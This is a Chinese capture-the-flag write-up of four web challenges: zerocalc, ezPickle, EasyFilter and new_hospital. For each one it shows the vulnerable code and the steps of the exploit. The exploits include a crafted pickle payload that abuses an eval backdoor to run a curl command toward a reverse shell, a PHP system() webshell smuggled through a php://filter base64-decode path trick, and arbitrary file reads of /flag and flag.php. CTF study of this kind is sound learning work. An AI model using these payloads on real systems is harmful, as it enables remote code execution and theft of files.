强网拟态部分web

zerocalc

打开页面,发现是readFile(“./src/index.js”),发现出现nodejs语言,本来打算审计的,但是发现readFile可以读文件,所以直接构造readFile(“/flag”)就可以看见flag了,提示都是骗人的

ezPickle

打开页面,发现只有一个Hello,但是可以下载附件,所以可以看见两个文件的代码

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from flask import Flask, request, session, render_template_string, url_for,redirect
import pickle
import io
import sys
import base64
import random
import subprocess
from config import notadmin

app = Flask(__name__)

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name))


def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/')
def index():
info = request.args.get('name', '')
if info is not '':
x = base64.b64decode(info)
User = restricted_loads(x)
return render_template_string('Hello')


if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=5000)

config.py

1
2
3
4
5
6
notadmin={"admin":"no"}

def backdoor(cmd):
if notadmin["admin"]=="yes":
s=''.join(cmd)
eval(s)

通过对两个文件的审计,思路是首先get提交一个name参数,然后便对其进行base64的解码,并放入restricted_loads这个函数中

1
2
3
4
info = request.args.get('name', '')
if info is not '':
x = base64.b64decode(info)
User = restricted_loads(x)

然后将其转换为字节流,并放入到RestrictedUnpickler函数中

1
2
3
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

然后只要满足这个if就可以,使用config.py中的eval(s),执行命令

1
2
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)

但是发现如果要绕过if,需要notadmin[“admin”]==”yes”,但是这里固定了notadmin={“admin”:”no”},所以我们需要通过python反序列化伪造admin为yes,所以exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import base64
import pickle
import pickletools
import base64
import config
import io
import sys

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name))

data=b'''cconfig
notadmin
(S'admin'
S'yes'
u0(cconfig
backdoor
(S'exec("import os;os.system('curl ');")'
Io.'''

data=base64.encode(data)
print(data)
result=RestrictedUnpickler(io.BytesIO(base64.decode(data))).load()
print(config.notadmin)

即可伪造notadmin[“admin”]==”yes”,然后执行命令,反弹shell

EasyFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
ini_set("open_basedir","./");
if(!isset($_GET['action'])){
highlight_file(__FILE__);
die();
}
if($_GET['action'] == 'w'){
@mkdir("./files/");
$content = $_GET['c'];
$file = bin2hex(random_bytes(5));
file_put_contents("./files/".$file,base64_encode($content));
echo "./files/".$file;
}elseif($_GET['action'] == 'r'){
$r = $_GET['r'];
$file = "./files/".$r;
include("php://filter/resource=$file");
}

这道题想了很长时间,没思路,最后发现原来的封装的问题,就是include()里的resource对输入的对象进行封装,然后我们只需要再用base64解码封装即可,所以构造

1
2
3
?action=w&c=<?php system("cat /flag");?>

?action=r&r=convert.base64-decode/../62d1ef7ceb

即可base64解码并通过include函数执行命令

new_hospital

其实它是新框架里加入了旧框架,当在/feature.php?id=2目录下是,发现报错

1
2
knowledge
Warning: file_get_contents(2.js): failed to open stream: No such file or directory in /var/www/html/feature.php on line 468

但是报错的函数是file_get_contents()函数,可以利用一下,所以我们通过目录扫描,发现旧框架在/old目录下,所以我们可以构造

1
/old/feature.php

然后发现输入文件的点在cookie里的API中,所以只要我们构造/var/www/html/flag.php,然后进行base64编码提交即可